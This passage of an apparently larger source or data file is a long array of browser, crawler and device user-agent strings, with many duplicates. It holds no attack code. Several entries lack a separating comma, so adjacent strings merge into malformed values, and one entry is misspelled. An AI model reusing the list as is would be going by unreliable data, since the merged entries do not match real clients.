  317. "LG-BDP Linux/2.6.35 UPnP/1.0 DLNADOC/1.50 LGE_DLNA_SDK/1.5.0",
  318. "Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV) AppleWebKit/531.2+ (KHTML, like Gecko) WebBrowser/1.0 SmartTV Safari/531.2+",
  319. "Mozilla/5.0 (SMART-TV; X11; Linux i686) AppleWebKit/535.20+ (KHTML, like Gecko) Version/5.0 Safari/535.20+",
  320. "Doris/1.15 [en] (Symbian)",
  321. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  322. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  323. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  324. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  325. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  326. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  327. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  328. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  329. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  330. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  331. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  332. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  333. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  334. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  335. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  336. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  337. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  338. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  339. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  340. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  341. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  342. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  343. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  344. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  345. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  346. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  347. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  348. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  349. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  350. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  351. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  352. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  353. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  354. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  355. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  356. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  357. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  358. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  359. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  360. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  361. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  362. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  363. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  364. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  365. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  366. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  367. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  368. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  369. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  370. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  371. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  372. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  373. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  374. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  375. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  376. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  377. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  378. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  379. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  380. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  381. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  382. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  383. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  384. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  385. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  386. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  387. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  388. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  389. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  390. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  391. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  392. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  393. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  394. "Opera/6.04 (Windows XP; U) [en]",
  395. "Opera/9.99 (X11; U; sk)",
  396. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  397. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  398. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  399. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  400. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  401. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  402. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  403. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  404. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  405. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  406. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  407. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  408. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  409. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  410. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  411. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  412. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  413. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  414. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  415. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  416. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  417. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  418. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  419. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  420. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  421. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  422. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  423. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  424. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  425. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  426. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  427. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  428. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  429. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  430. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  431. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  432. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  433. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  434. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  435. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  436. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  437. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  438. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  439. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  440. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  441. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  442. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  443. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  444. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  445. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  446. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  447. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  448. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  449. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  450. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  451. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  452. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  453. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  454. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  455. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  456. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  457. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  458. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  459. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  460. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  461. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  462. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  463. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  464. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  465. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  466. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  467. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  468. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  469. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  470. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  471. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  472. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  473. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  474. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  475. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  476. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  477. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  478. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  479. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  480. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  481. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  482. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  483. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  484. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  485. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  486. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  487. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  488. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  489. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  490. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  491. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  492. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  493. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  494. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  495. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  496. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  497. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  498. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  499. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  500. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  501. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  502. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  503. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  504. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  505. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  506. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  507. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  508. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  509. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  510. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  511. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  512. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  513. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  514. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  515. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  516. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  517. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  518. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  519. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  520. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  521. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  522. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  523. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  524. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  525. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  526. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  527. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  528. "Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36",
  529. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  530. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  531. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  532. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  533. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  534. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  535. "C4PC UserAgent/0.7",
  536. "Googlebot 1.01.003",
  537. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  538. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  539. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  540. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0","Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  541. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  542. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  543. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  544. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  545. "Opera/6.04 (Windows XP; U) [en]",
  546. "Opera/9.99 (X11; U; sk)",
